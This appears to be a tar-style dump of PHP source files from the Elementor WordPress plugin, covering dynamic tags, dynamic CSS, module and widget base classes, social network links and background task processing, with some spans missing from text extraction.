$group_name * @param array $group_settings */ public function register_group( $group_name, array $group_settings ) { $default_group_settings = [ 'title' => '', ]; $group_settings = array_merge( $default_group_settings, $group_settings ); $this->tags_groups[ $group_name ] = $group_settings; } /** * @since 2.0.0 * @access public */ public function print_templates() { foreach ( $this->get_tags() as $tag_name => $tag_info ) { $tag = $tag_info['instance']; if ( ! $tag instanceof Tag ) { continue; } $tag->print_template(); } } /** * @since 2.0.0 * @access public */ public function get_tags_config() { $config = []; foreach ( $this->get_tags() as $tag_name => $tag_info ) { /** @var Tag $tag */ $tag = $tag_info['instance']; $config[ $tag_name ] = $tag->get_editor_config(); } return $config; } /** * @since 2.0.0 * @access public */ public function get_config() { return [ 'tags' => $this->get_tags_config(), 'groups' => $this->tags_groups, ]; } /** * @since 2.0.0 * @access public * * @throws \Exception If post ID is missing. * @throws \Exception If current user don't have permissions to edit the post. */ public function ajax_render_tags( $data ) { if ( empty( $data['post_id'] ) ) { throw new \Exception( 'Missing post id.' ); } if ( ! User::is_current_user_can_edit( $data['post_id'] ) ) { throw new \Exception( 'Access denied.' ); } Plugin::$instance->db->switch_to_post( $data['post_id'] ); /** * Before dynamic tags rendered. * * Fires before Elementor renders the dynamic tags. * * @since 2.0.0 */ do_action( 'elementor/dynamic_tags/before_render' ); $tags_data = []; foreach ( $data['tags'] as $tag_key ) { $tag_key_parts = explode( '-', $tag_key ); $tag_name = base64_decode( $tag_key_parts[0] ); $tag_settings = json_decode( urldecode( base64_decode( $tag_key_parts[1] ) ), true ); $tag = $this->create_tag( null, $tag_name, $tag_settings ); $tags_data[ $tag_key ] = $tag->get_content(); } /** * After dynamic tags rendered. * * Fires after Elementor renders the dynamic tags. * * @since 2.0.0 */ do_action( 'elementor/dynamic_tags/after_render' ); return $tags_data; } /** * @since 2.0.0 * @access public * * @param $mode */ public function set_parsing_mode( $mode ) { $this->parsing_mode = $mode; } /** * @since 2.0.0 * @access public */ public function get_parsing_mode() { return $this->parsing_mode; } /** * @since 2.1.0 * @access public * @param Post $css_file */ public function after_enqueue_post_css( $css_file ) { $post_id = $css_file->get_post_id(); $should_enqueue = apply_filters( 'elementor/css-file/dynamic/should_enqueue', true, $post_id ); if ( $should_enqueue ) { $css_file = Dynamic_CSS::create( $post_id, $css_file ); $css_file->enqueue(); } } /** * @since 2.3.0 * @access public */ public function register_ajax_actions( Ajax $ajax ) { $ajax->register_ajax_action( 'render_tags', [ $this, 'ajax_render_tags' ] ); } /** * @since 2.0.0 * @access private */ private function add_actions() { add_action( 'elementor/ajax/register_actions', [ $this, 'register_ajax_actions' ] ); add_action( 'elementor/css-file/post/enqueue', [ $this, 'after_enqueue_post_css' ] ); } } core/dynamic-tags/data-tag.php000064400000001363147206604650012264 0ustar00get_value( $options ); } } core/dynamic-tags/base-tag.php000064400000007656147206604650012300 0ustar00print_panel_template(); $panel_template = ob_get_clean(); return [ 'name' => $this->get_name(), 'title' => $this->get_title(), 'panel_template' => $panel_template, 'categories' => $this->get_categories(), 'group' => $this->get_group(), 'controls' => $this->get_controls(), 'content_type' => $this->get_content_type(), 'settings_required' => $this->is_settings_required(), 'editable' => $this->is_editable(), ]; } /** * @since 2.0.0 * @access public */ public function print_panel_template() { $panel_template_setting_key = $this->get_panel_template_setting_key(); if ( ! $panel_template_setting_key ) { return; } ?><# var key = ; if ( key ) { var settingsKey = ""; /* * If the tag has controls, * and key is an existing control (and not an old one), * and the control has options (select/select2), * and the key is an existing option (and not in a group or an old one). */ if ( controls && controls[settingsKey] ) { var controlSettings = controls[settingsKey]; if ( controlSettings.options && controlSettings.options[ key ] ) { key = controlSettings.options[ key ]; } else if ( controlSettings.groups ) { var label = _.filter( _.pluck( _.pluck( controls.key.groups, 'options' ), key ) ); if ( label[0] ) { key = label[0]; } } } print( '(' + _.escape( key ) + ')' ); } #> get_name(); } /** * @since 2.0.0 * @access protected */ protected function register_advanced_section() {} /** * @since 2.0.0 * @access protected */ final protected function init_controls() { Plugin::$instance->controls_manager->open_stack( $this ); $this->start_controls_section( 'settings', [ 'label' => esc_html__( 'Settings', 'elementor' ), ] ); if ( $this->has_own_method( '_register_controls' ) ) { Plugin::$instance->modules_manager->get_modules( 'dev-tools' )->deprecation->deprecated_function( '_register_controls', '3.1.0', __CLASS__ . '::register_controls()' ); $this->_register_controls(); } else { $this->register_controls(); } $this->end_controls_section(); // If in fact no controls were registered, empty the stack if ( 1 === count( Plugin::$instance->controls_manager->get_stacks( $this->get_unique_name() )['controls'] ) ) { Plugin::$instance->controls_manager->open_stack( $this ); } $this->register_advanced_section(); } } core/dynamic-tags/dynamic-css.php000064400000005731147206604650013017 0ustar00post_dynamic_elements_ids ) ) { return null; } return $this->post_id_for_data; } protected function is_global_parsing_supported() { return false; } protected function render_styles( Element_Base $element ) { $id = $element->get_id(); if ( in_array( $id, $this->post_dynamic_elements_ids ) ) { parent::render_styles( $element ); } foreach ( $element->get_children() as $child_element ) { $this->render_styles( $child_element ); } } /** * Dynamic_CSS constructor. * * @since 2.0.13 * @access public * * @param int $post_id Post ID * @param Post_CSS $post_css_file */ public function __construct( $post_id, Post_CSS $post_css_file ) { if ( $post_css_file instanceof Post_Preview ) { $this->post_id_for_data = $post_css_file->get_post_id_for_data(); } else { $this->post_id_for_data = $post_id; } $this->post_dynamic_elements_ids = $post_css_file->get_meta( 'dynamic_elements_ids' ); parent::__construct( $post_id ); } /** * @since 2.0.13 * @access public */ public function get_name() { return 'dynamic'; } /** * Get Responsive Control Duplication Mode * * @since 3.4.0 * * @return string */ protected function get_responsive_control_duplication_mode() { return 'dynamic'; } /** * @since 2.0.13 * @access protected */ protected function use_external_file() { return false; } /** * @since 2.0.13 * @access protected */ protected function get_file_handle_id() { return 'elementor-post-dynamic-' . $this->get_post_id_for_data(); } /** * @since 2.0.13 * @access public */ public function add_controls_stack_style_rules( Controls_Stack $controls_stack, array $controls, array $values, array $placeholders, array $replacements, array $all_controls = null ) { $dynamic_settings = $controls_stack->get_settings( '__dynamic__' ); if ( ! empty( $dynamic_settings ) ) { $controls = array_intersect_key( $controls, $dynamic_settings ); $all_controls = $controls_stack->get_controls(); $parsed_dynamic_settings = $controls_stack->parse_dynamic_settings( $values, $controls ); foreach ( $controls as $control ) { if ( ! empty( $control['style_fields'] ) ) { $this->add_repeater_control_style_rules( $controls_stack, $control, $values[ $control['name'] ], $placeholders, $replacements ); } if ( empty( $control['selectors'] ) ) { continue; } $this->add_control_style_rules( $control, $parsed_dynamic_settings, $all_controls, $placeholders, $replacements ); } } } } core/base/module.php000064400000016611147206604650010423 0ustar00reflection ) { $this->reflection = new \ReflectionClass( $this ); } return $this->reflection; } /** * Add module component. * * Add new component to the current module. * * @since 1.7.0 * @access public * * @param string $id Component ID. * @param mixed $instance An instance of the component. */ public function add_component( $id, $instance ) { $this->components[ $id ] = $instance; } /** * @since 2.3.0 * @access public * @return Module[] */ public function get_components() { return $this->components; } /** * Get module component. * * Retrieve the module component. * * @since 1.7.0 * @access public * * @param string $id Component ID. * * @return mixed An instance of the component, or `false` if the component * doesn't exist. */ public function get_component( $id ) { if ( isset( $this->components[ $id ] ) ) { return $this->components[ $id ]; } return false; } /** * Get assets url. * * @since 2.3.0 * @access protected * * @param string $file_name * @param string $file_extension * @param string $relative_url Optional. Default is null. * @param string $add_min_suffix Optional. Default is 'default'. * * @return string */ final protected function get_assets_url( $file_name, $file_extension, $relative_url = null, $add_min_suffix = 'default' ) { static $is_test_mode = null; if ( null === $is_test_mode ) { $is_test_mode = defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG || defined( 'ELEMENTOR_TESTS' ) && ELEMENTOR_TESTS; } if ( ! $relative_url ) { $relative_url = $this->get_assets_relative_url() . $file_extension . '/'; } $url = $this->get_assets_base_url() . $relative_url . $file_name; if ( 'default' === $add_min_suffix ) { $add_min_suffix = ! $is_test_mode; } if ( $add_min_suffix ) { $url .= '.min'; } return $url . '.' . $file_extension; } /** * Get js assets url * * @since 2.3.0 * @access protected * * @param string $file_name * @param string $relative_url Optional. Default is null. * @param string $add_min_suffix Optional. Default is 'default'. * * @return string */ final protected function get_js_assets_url( $file_name, $relative_url = null, $add_min_suffix = 'default' ) { return $this->get_assets_url( $file_name, 'js', $relative_url, $add_min_suffix ); } /** * Get css assets url * * @since 2.3.0 * @access protected * * @param string $file_name * @param string $relative_url Optional. Default is null. * @param string $add_min_suffix Optional. Default is 'default'. * @param bool $add_direction_suffix Optional. Default is `false` * * @return string */ final protected function get_css_assets_url( $file_name, $relative_url = null, $add_min_suffix = 'default', $add_direction_suffix = false ) { static $direction_suffix = null; if ( ! $direction_suffix ) { $direction_suffix = is_rtl() ? '-rtl' : ''; } if ( $add_direction_suffix ) { $file_name .= $direction_suffix; } return $this->get_assets_url( $file_name, 'css', $relative_url, $add_min_suffix ); } /** * Get Frontend File URL * * Returns the URL for the CSS file to be loaded in the front end. If requested via the second parameter, a custom * file is generated based on a passed template file name. Otherwise, the URL for the default CSS file is returned. * * @since 3.24.0 * * @access public * * @param string $file_name * @param boolean $has_custom_breakpoints * * @return string frontend file URL */ public function get_frontend_file_url( $file_name, $has_custom_breakpoints ) { return Plugin::$instance->frontend->get_frontend_file_url( $file_name, $has_custom_breakpoints ); } /** * Get assets base url * * @since 2.6.0 * @access protected * * @return string */ protected function get_assets_base_url() { return ELEMENTOR_URL; } /** * Get assets relative url * * @since 2.3.0 * @access protected * * @return string */ protected function get_assets_relative_url() { return 'assets/'; } /** * Get the module's associated widgets. * * @return string[] */ protected function get_widgets() { return []; } /** * Initialize the module related widgets. */ public function init_widgets() { $widget_manager = Plugin::instance()->widgets_manager; foreach ( $this->get_widgets() as $widget ) { $class_name = $this->get_reflection()->getNamespaceName() . '\Widgets\\' . $widget; $widget_manager->register( new $class_name() ); } } public function __construct() { add_action( 'elementor/widgets/register', [ $this, 'init_widgets' ] ); } } core/base/providers/social-network-provider.php000064400000016233147206604650015744 0ustar00 $data ) { $icons[ $network ] = $data['icon']; } } return $icons; } public static function get_icon_mapping( string $platform ): string { static::init_social_networks_array_if_empty(); if ( isset( self::$social_networks[ $platform ]['icon'] ) ) { return self::$social_networks[ $platform ]['icon']; } return ''; } public static function get_name_mapping( string $platform ): string { static::init_social_networks_array_if_empty(); if ( isset( self::$social_networks[ $platform ]['name'] ) ) { return self::$social_networks[ $platform ]['name']; } return ''; } public static function get_text_mapping( string $platform ): string { static::init_social_networks_array_if_empty(); if ( isset( self::$social_networks[ $platform ]['text'] ) ) { return self::$social_networks[ $platform ]['text']; } return ''; } public static function get_social_networks_text( $providers = [] ): array { static::init_social_networks_array_if_empty(); static $texts = []; if ( empty( $texts ) ) { foreach ( static::$social_networks as $network => $data ) { $texts[ $network ] = $data['text']; } } if ( $providers ) { return array_intersect_key( $texts, array_flip( $providers ) ); } return $texts; } private static function init_social_networks_array_if_empty(): void { if ( ! empty( static::$social_networks ) ) { return; } static::$social_networks[ static::VCF ] = [ 'text' => esc_html__( 'Save contact (vCard)', 'elementor' ), 'icon' => 'fab fa-outlook', 'name' => 'vcf', ]; static::$social_networks[ static::FACEBOOK ] = [ 'text' => esc_html__( 'Facebook', 'elementor' ), 'icon' => 'fab fa-facebook', 'name' => 'facebook', ]; static::$social_networks[ static::TWITTER ] = [ 'text' => esc_html__( 'X (Twitter)', 'elementor' ), 'icon' => 'fab fa-x-twitter', 'name' => 'x-twitter', ]; static::$social_networks[ static::INSTAGRAM ] = [ 'text' => esc_html__( 'Instagram', 'elementor' ), 'icon' => 'fab fa-instagram', 'name' => 'instagram', ]; static::$social_networks[ static::LINKEDIN ] = [ 'text' => esc_html__( 'LinkedIn', 'elementor' ), 'icon' => 'fab fa-linkedin-in', 'name' => 'linkedin', ]; static::$social_networks[ static::PINTEREST ] = [ 'text' => esc_html__( 'Pinterest', 'elementor' ), 'icon' => 'fab fa-pinterest', 'name' => 'pinterest', ]; static::$social_networks[ static::YOUTUBE ] = [ 'text' => esc_html__( 'YouTube', 'elementor' ), 'icon' => 'fab fa-youtube', 'name' => 'youtube', ]; static::$social_networks[ static::TIKTOK ] = [ 'text' => esc_html__( 'TikTok', 'elementor' ), 'icon' => 'fab fa-tiktok', 'name' => 'tiktok', ]; static::$social_networks[ static::WHATSAPP ] = [ 'text' => esc_html__( 'WhatsApp', 'elementor' ), 'icon' => 'fab fa-whatsapp', 'name' => 'whatsapp', ]; static::$social_networks[ static::APPLEMUSIC ] = [ 'text' => esc_html__( 'Apple Music', 'elementor' ), 'icon' => 'fa fa-music', 'name' => 'apple-music', ]; static::$social_networks[ static::SPOTIFY ] = [ 'text' => esc_html__( 'Spotify', 'elementor' ), 'icon' => 'fab fa-spotify', 'name' => 'spotify', ]; static::$social_networks[ static::SOUNDCLOUD ] = [ 'text' => esc_html__( 'SoundCloud', 'elementor' ), 'icon' => 'fab fa-soundcloud', 'name' => 'soundcloud', ]; static::$social_networks[ static::BEHANCE ] = [ 'text' => esc_html__( 'Behance', 'elementor' ), 'icon' => 'fab fa-behance', 'name' => 'behance', ]; static::$social_networks[ static::DRIBBBLE ] = [ 'text' => esc_html__( 'Dribbble', 'elementor' ), 'icon' => 'fab fa-dribbble', 'name' => 'dribble', ]; static::$social_networks[ static::VIMEO ] = [ 'text' => esc_html__( 'Vimeo', 'elementor' ), 'icon' => 'fab fa-vimeo-v', 'name' => 'vimeo', ]; static::$social_networks[ static::WAZE ] = [ 'text' => esc_html__( 'Waze', 'elementor' ), 'icon' => 'fab fa-waze', 'name' => 'waze', ]; static::$social_networks[ static::MESSENGER ] = [ 'text' => esc_html__( 'Messenger', 'elementor' ), 'icon' => 'fab fa-facebook-messenger', 'name' => 'messenger', ]; static::$social_networks[ static::TELEPHONE ] = [ 'text' => esc_html__( 'Telephone', 'elementor' ), 'icon' => 'fas fa-phone-alt', 'name' => 'phone', ]; static::$social_networks[ static::EMAIL ] = [ 'text' => esc_html__( 'Email', 'elementor' ), 'icon' => 'fas fa-envelope', 'name' => 'email', ]; static::$social_networks[ static::URL ] = [ 'text' => esc_html__( 'URL', 'elementor' ), 'icon' => 'fas fa-globe', 'name' => 'url', ]; static::$social_networks[ static::FILE_DOWNLOAD ] = [ 'text' => esc_html__( 'File Download', 'elementor' ), 'icon' => 'fas fa-download', 'name' => 'download', ]; static::$social_networks[ static::SMS ] = [ 'text' => esc_html__( 'SMS', 'elementor' ), 'icon' => 'fas fa-sms', 'name' => 'sms', ]; static::$social_networks[ static::VIBER ] = [ 'text' => esc_html__( 'Viber', 'elementor' ), 'icon' => 'fab fa-viber', 'name' => 'viber', ]; static::$social_networks[ static::SKYPE ] = [ 'text' => esc_html__( 'Skype', 'elementor' ), 'icon' => 'fab fa-skype', 'name' => 'skype', ]; } public static function build_messenger_link( string $username ) { return 'https://m.me/' . $username; } public static function build_email_link( array $data, string $prefix ) { $email = $data[ $prefix . '_mail' ] ?? ''; $subject = $data[ $prefix . '_mail_subject' ] ?? ''; $body = $data[ $prefix . '_mail_body' ] ?? ''; if ( ! $email ) { return ''; } $link = 'mailto:' . $email; if ( $subject ) { $link .= '?subject=' . $subject; } if ( $body ) { $link .= $subject ? '&' : '?'; $link .= 'body=' . $body; } return $link; } public static function build_viber_link( string $action, string $number ) { if ( empty( $number ) ) { return ''; } return add_query_arg( [ 'number' => urlencode( $number ), ], 'viber://' . $action ); } } core/base/traits/shared-widget-controls-trait.php000064400000015766147206604650016167 0ustar00 0, 'max' => 10, 'step' => 1, ]; protected function add_html_tag_control( string $name, string $default = 'h2' ): void { $this->add_control( $name, [ 'label' => esc_html__( 'HTML Tag', 'elementor' ), 'type' => Controls_Manager::SELECT, 'options' => [ 'h1' => 'H1', 'h2' => 'H2', 'h3' => 'H3', 'h4' => 'H4', 'h5' => 'H5', 'h6' => 'H6', 'div' => 'div', 'span' => 'span', 'p' => 'p', ], 'default' => $default, ] ); } /** * Remove any child arrays where all properties are empty */ protected function clean_array( $input_array = [] ) { $output_array = array_filter( $input_array, function( $sub_array ) { // Use array_filter on the sub array $filtered_sub_array = array_filter( $sub_array, function( $val ) { // Filter out empty or null values return ! is_null( $val ) && '' !== $val; } ); // A non-empty result means the sub array contains some non-empty value(s) return ! empty( $filtered_sub_array ); } ); return $output_array; } protected function get_link_attributes( $link = [], $other_attributes = [] ) { $url_attrs = []; $rel_string = ''; if ( ! empty( $link['url'] ) ) { $url_attrs['href'] = esc_url( $link['url'] ); } if ( ! empty( $link['is_external'] ) ) { $url_attrs['target'] = '_blank'; $rel_string .= 'noopener '; } if ( ! empty( $link['nofollow'] ) ) { $rel_string .= 'nofollow '; } if ( ! empty( $rel_string ) ) { $url_attrs['rel'] = $rel_string; } /** * Note - we deliberately merge $other_attributes second * to allow overriding default attributes values such as a more formatted href */ $url_combined_attrs = array_merge( $url_attrs, $other_attributes, Utils::parse_custom_attributes( $link['custom_attributes'] ?? '' ), ); return $url_combined_attrs; } protected function add_icons_per_row_control( string $name = 'icons_per_row', $options = [ '2' => '2', '3' => '3', ], string $default = '3', $label = '', $selector_custom_property = '--e-link-in-bio-icon-columns' ): void { if ( ! $label ) { $label = esc_html__( 'Icons Per Row', 'elementor' ); } $this->add_control( $name, [ 'label' => $label, 'type' => Controls_Manager::SELECT, 'options' => $options, 'default' => $default, 'render_type' => 'template', 'selectors' => [ '{{WRAPPER}} .e-link-in-bio' => $selector_custom_property . ': {{VALUE}};', ], ] ); } protected function add_slider_control( string $name, array $args = [] ): void { $default_args = [ 'type' => Controls_Manager::SLIDER, 'default' => [ 'unit' => 'px', ], 'size_units' => [ 'px', '%', 'em', 'rem', 'vw', 'custom' ], 'range' => [ 'px' => [ 'min' => 0, 'max' => 100, 'step' => 1, ], ], ]; $this->add_control( $name, array_merge_recursive( $default_args, $args ) ); } protected function add_borders_control( string $prefix, array $show_border_args = [], array $border_width_args = [], array $border_color_args = [] ): void { $show_border = [ 'label' => esc_html__( 'Border', 'elementor' ), 'type' => Controls_Manager::SWITCHER, 'label_on' => esc_html__( 'Yes', 'elementor' ), 'label_off' => esc_html__( 'No', 'elementor' ), 'return_value' => 'yes', 'default' => '', ]; $this->add_control( $prefix . '_show_border', array_merge( $show_border, $show_border_args ) ); $condition = [ $prefix . '_show_border' => 'yes', ]; if ( isset( $border_width_args['condition'] ) ) { $condition = array_merge( $condition, $border_width_args['condition'] ); unset( $border_width_args['condition'] ); } $border_width = [ 'label' => esc_html__( 'Border Width', 'elementor' ) . ' (px)', 'type' => Controls_Manager::SLIDER, 'size_units' => [ 'px' ], 'range' => [ 'px' => $this->border_width_range, ], 'condition' => $condition, 'default' => [ 'unit' => 'px', 'size' => 1, ], ]; $this->add_responsive_control( $prefix . '_border_width', array_merge( $border_width, $border_width_args ), ); $condition = [ $prefix . '_show_border' => 'yes', ]; if ( isset( $border_color_args['condition'] ) ) { $condition = array_merge( $condition, $border_color_args['condition'] ); unset( $border_color_args['condition'] ); } $border_color = [ 'label' => esc_html__( 'Border Color', 'elementor' ), 'type' => Controls_Manager::COLOR, 'condition' => $condition, 'default' => '#000000', ]; $this->add_control( $prefix . '_border_color', array_merge( $border_color, $border_color_args ) ); } protected function get_shape_divider( $side = 'bottom' ) { $settings = $this->settings; $base_setting_key = "identity_section_style_cover_divider_$side"; $file_name = $settings[ $base_setting_key ]; if ( empty( $file_name ) ) { return []; } $negative = ! empty( $settings[ $base_setting_key . '_negative' ] ); $shape_path = Shapes::get_shape_path( $file_name, $negative ); if ( ! is_file( $shape_path ) || ! is_readable( $shape_path ) ) { return []; } return [ 'negative' => $negative, 'svg' => Utils::file_get_contents( $shape_path ), ]; } protected function print_shape_divider( $side = 'bottom' ) { $shape_divider = $this->get_shape_divider( $side ); if ( empty( $shape_divider ) ) { return; } ?>
breakpoints->get_active_devices_list( [ 'reverse' => true ] ); $active_breakpoint_instances = Plugin::$instance->breakpoints->get_active_breakpoints(); $devices_options = []; foreach ( $active_devices as $device_key ) { $device_label = 'desktop' === $device_key ? esc_html__( 'Desktop', 'elementor' ) : $active_breakpoint_instances[ $device_key ]->get_label(); $devices_options[ $device_key ] = $device_label; } return [ 'active_devices' => $active_devices, 'devices_options' => $devices_options, ]; } protected function add_hover_animation_control( string $name, array $args = [] ): void { $this->add_control( $name, array_merge( [ 'label' => esc_html__( 'Hover Animation', 'elementor' ), 'type' => Hover_Animation_Floating_Buttons::TYPE, 'frontend_available' => true, 'default' => 'grow', ], $args ) ); } } core/base/app.php000064400000002344147206604650007714 0ustar00get_name(); $js_var = 'elementor' . str_replace( ' ', '', ucwords( str_replace( '-', ' ', $name ) ) ) . 'Config'; $config = $this->get_settings() + $this->get_components_config(); if ( ! $handle ) { $handle = 'elementor-' . $name; } Utils::print_js_config( $handle, $js_var, $config ); } /** * Get components config. * * Retrieves the app components settings. * * @since 2.3.0 * @access private * * @return array */ private function get_components_config() { $settings = []; foreach ( $this->get_components() as $id => $instance ) { $settings[ $id ] = $instance->get_settings(); } return $settings; } } core/base/background-task-manager.php000064400000004744147206604650013631 0ustar00logger->get_logger(); $logger->info( $this->get_plugin_name() . '::' . $this->get_action() . ' Started' ); } public function on_runner_complete( $did_tasks = false ) { $logger = Plugin::$instance->logger->get_logger(); $logger->info( $this->get_plugin_name() . '::' . $this->get_action() . ' Completed' ); } public function get_task_runner() { if ( empty( $this->task_runner ) ) { $class_name = $this->get_task_runner_class(); $this->task_runner = new $class_name( $this ); } return $this->task_runner; } // TODO: Replace with a db settings system. protected function add_flag( $flag ) { add_option( $this->get_plugin_name() . '_' . $this->get_action() . '_' . $flag, 1 ); } protected function get_flag( $flag ) { return get_option( $this->get_plugin_name() . '_' . $this->get_action() . '_' . $flag ); } protected function delete_flag( $flag ) { delete_option( $this->get_plugin_name() . '_' . $this->get_action() . '_' . $flag ); } protected function get_start_action_url() { return wp_nonce_url( add_query_arg( $this->get_action(), 'run' ), $this->get_action() . 'run' ); } protected function get_continue_action_url() { return wp_nonce_url( add_query_arg( $this->get_action(), 'continue' ), $this->get_action() . 'continue' ); } private function continue_run() { $runner = $this->get_task_runner(); $runner->continue_run(); } public function __construct() { if ( empty( $_GET[ $this->get_action() ] ) ) { return; } Plugin::$instance->init_common(); if ( 'run' === $_GET[ $this->get_action() ] && check_admin_referer( $this->get_action() . 'run' ) ) { $this->start_run(); } if ( 'continue' === $_GET[ $this->get_action() ] && check_admin_referer( $this->get_action() . 'continue' ) ) { $this->continue_run(); } wp_safe_redirect( remove_query_arg( [ $this->get_action(), '_wpnonce' ] ) ); die; } } core/base/background-task.php000064400000021572147206604650012217 0ustar00get_current_item(); if ( empty( $item['total'] ) ) { $sql = preg_replace( '/^SELECT/', 'SELECT SQL_CALC_FOUND_ROWS', $sql ); } // Add offset & limit. $sql = preg_replace( '/;$/', '', $sql ); $sql .= ' LIMIT %d, %d;'; $results = $wpdb->get_col( $wpdb->prepare( $sql, $this->get_current_offset(), $this->get_limit() ) ); // phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared if ( ! empty( $results ) ) { $this->set_total(); } return $results; } public function should_run_again( $updated_rows ) { return count( $updated_rows ) === $this->get_limit(); } public function get_current_offset() { $limit = $this->get_limit(); return ( $this->current_item['iterate_num'] - 1 ) * $limit; } public function get_limit() { return $this->manager->get_query_limit(); } public function set_total() { global $wpdb; if ( empty( $this->current_item['total'] ) ) { $total_rows = $wpdb->get_var( 'SELECT FOUND_ROWS();' ); $total_iterates = ceil( $total_rows / $this->get_limit() ); $this->current_item['total'] = $total_iterates; } } /** * Complete * * Override if applicable, but ensure that the below actions are * performed, or, call parent::complete(). */ protected function complete() { $this->manager->on_runner_complete( true ); parent::complete(); } public function continue_run() { // Used to fire an action added in WP_Background_Process::_construct() that calls WP_Background_Process::handle_cron_healthcheck(). // This method will make sure the database updates are executed even if cron is disabled. Nothing will happen if the updates are already running. do_action( $this->cron_hook_identifier ); } /** * @return mixed */ public function get_current_item() { return $this->current_item; } /** * Get batch. * * @return \stdClass Return the first batch from the queue. */ protected function get_batch() { $batch = parent::get_batch(); $batch->data = array_filter( (array) $batch->data ); return $batch; } /** * Handle cron healthcheck * * Restart the background process if not already running * and data exists in the queue. */ public function handle_cron_healthcheck() { if ( $this->is_process_running() ) { // Background process already running. return; } if ( $this->is_queue_empty() ) { // No data to process. $this->clear_scheduled_event(); return; } $this->handle(); } /** * Schedule fallback event. */ protected function schedule_event() { if ( ! wp_next_scheduled( $this->cron_hook_identifier ) ) { wp_schedule_event( time() + 10, $this->cron_interval_identifier, $this->cron_hook_identifier ); } } /** * Is the updater running? * * @return boolean */ public function is_running() { return false === $this->is_queue_empty(); } /** * See if the batch limit has been exceeded. * * @return bool */ protected function batch_limit_exceeded() { return $this->time_exceeded() || $this->memory_exceeded(); } /** * Handle. * * Pass each queue item to the task handler, while remaining * within server memory and time limit constraints. */ protected function handle() { $this->manager->on_runner_start(); $this->lock_process(); do { $batch = $this->get_batch(); foreach ( $batch->data as $key => $value ) { $task = $this->task( $value ); if ( false !== $task ) { $batch->data[ $key ] = $task; } else { unset( $batch->data[ $key ] ); } if ( $this->batch_limit_exceeded() ) { // Batch limits reached. break; } } // Update or delete current batch. if ( ! empty( $batch->data ) ) { $this->update( $batch->key, $batch->data ); } else { $this->delete( $batch->key ); } } while ( ! $this->batch_limit_exceeded() && ! $this->is_queue_empty() ); $this->unlock_process(); // Start next batch or complete process. if ( ! $this->is_queue_empty() ) { $this->dispatch(); } else { $this->complete(); } } /** * Use the protected `is_process_running` method as a public method. * @return bool */ public function is_process_locked() { return $this->is_process_running(); } public function handle_immediately( $callbacks ) { $this->manager->on_runner_start(); $this->lock_process(); foreach ( $callbacks as $callback ) { $item = [ 'callback' => $callback, ]; do { $item = $this->task( $item ); } while ( $item ); } $this->unlock_process(); } /** * Task * * Override this method to perform any actions required on each * queue item. Return the modified item for further processing * in the next pass through. Or, return false to remove the * item from the queue. * * @param array $item * * @return array|bool */ protected function task( $item ) { $result = false; if ( ! isset( $item['iterate_num'] ) ) { $item['iterate_num'] = 1; } $logger = Plugin::$instance->logger->get_logger(); $callback = $this->format_callback_log( $item ); if ( is_callable( $item['callback'] ) ) { $progress = ''; if ( 1 < $item['iterate_num'] ) { if ( empty( $item['total'] ) ) { $progress = sprintf( '(x%s)', $item['iterate_num'] ); } else { $percent = ceil( $item['iterate_num'] / ( $item['total'] / 100 ) ); $progress = sprintf( '(%s of %s, %s%%)', $item['iterate_num'], $item['total'], $percent ); } } $logger->info( sprintf( '%s Start %s', $callback, $progress ) ); $this->current_item = $item; $result = (bool) call_user_func( $item['callback'], $this ); // get back the updated item. $item = $this->current_item; $this->current_item = null; if ( $result ) { if ( empty( $item['total'] ) ) { $logger->info( sprintf( '%s callback needs to run again', $callback ) ); } elseif ( 1 === $item['iterate_num'] ) { $logger->info( sprintf( '%s callback needs to run more %d times', $callback, $item['total'] - $item['iterate_num'] ) ); } $item['iterate_num']++; } else { $logger->info( sprintf( '%s Finished', $callback ) ); } } else { $logger->notice( sprintf( 'Could not find %s callback', $callback ) ); } return $result ? $item : false; } /** * Schedule cron healthcheck. * * @param array $schedules Schedules. * @return array */ public function schedule_cron_healthcheck( $schedules ) { $interval = apply_filters( $this->identifier . '_cron_interval', 5 ); // Adds every 5 minutes to the existing schedules. $schedules[ $this->identifier . '_cron_interval' ] = array( 'interval' => MINUTE_IN_SECONDS * $interval, 'display' => sprintf( /* translators: %d: Interval in minutes. */ esc_html__( 'Every %d minutes', 'elementor' ), $interval ), ); return $schedules; } /** * See if the batch limit has been exceeded. * * @return bool */ public function is_memory_exceeded() { return $this->memory_exceeded(); } /** * Delete all batches. * * @return self */ public function delete_all_batches() { global $wpdb; $table = $wpdb->options; $column = 'option_name'; if ( is_multisite() ) { $table = $wpdb->sitemeta; $column = 'meta_key'; } $key = $wpdb->esc_like( $this->identifier . '_batch_' ) . '%'; $wpdb->query( $wpdb->prepare( "DELETE FROM {$table} WHERE {$column} LIKE %s", $key ) ); // @codingStandardsIgnoreLine. return $this; } /** * Kill process. * * Stop processing queue items, clear cronjob and delete all batches. */ public function kill_process() { if ( ! $this->is_queue_empty() ) { $this->delete_all_batches(); wp_clear_scheduled_hook( $this->cron_hook_identifier ); } } public function set_current_item( $item ) { $this->current_item = $item; } protected function format_callback_log( $item ) { return implode( '::', (array) $item['callback'] ); } /** * @var \Elementor\Core\Base\Background_Task_Manager */ protected $manager; public function __construct( $manager ) { $this->manager = $manager; // Uses unique prefix per blog so each blog has separate queue. $this->prefix = 'elementor_' . get_current_blog_id(); $this->action = $this->manager->get_action(); parent::__construct(); } } core/base/document.php000064400000144610147206604650010755 0ustar00 Utils::generate_random_string(), 'elType' => 'container', 'elements' => $internal_elements, ], ]; } /** * @param array $internal_elements * * @return array[] */ private function get_sections_elements_data( array $internal_elements ): array { return [ [ 'id' => Utils::generate_random_string(), 'elType' => 'section', 'elements' => [ [ 'id' => Utils::generate_random_string(), 'elType' => 'column', 'elements' => $internal_elements, ], ], ], ]; } /** * @since 2.1.0 * @access protected * @static */ protected static function get_editor_panel_categories() { return Plugin::$instance->elements_manager->get_categories(); } /** * Get properties. * * Retrieve the document properties. * * @since 2.0.0 * @access public * @static * * @return array Document properties. */ public static function get_properties() { return [ 'has_elements' => true, 'is_editable' => true, 'edit_capability' => '', 'show_in_finder' => true, 'show_on_admin_bar' => true, 'support_kit' => false, 'show_navigator' => true, 'allow_adding_widgets' => true, 'support_page_layout' => true, 'show_copy_and_share' => false, 'library_close_title' => esc_html__( 'Close', 'elementor' ), 'publish_button_title' => esc_html__( 'Publish', 'elementor' ), 'allow_closing_remote_library' => true, ]; } /** * @since 2.1.0 * @access public * @static */ public static function get_editor_panel_config() { $default_route = 'panel/elements/categories'; if ( ! Plugin::instance()->role_manager->user_can( 'design' ) ) { $default_route = 'panel/page-settings/settings'; 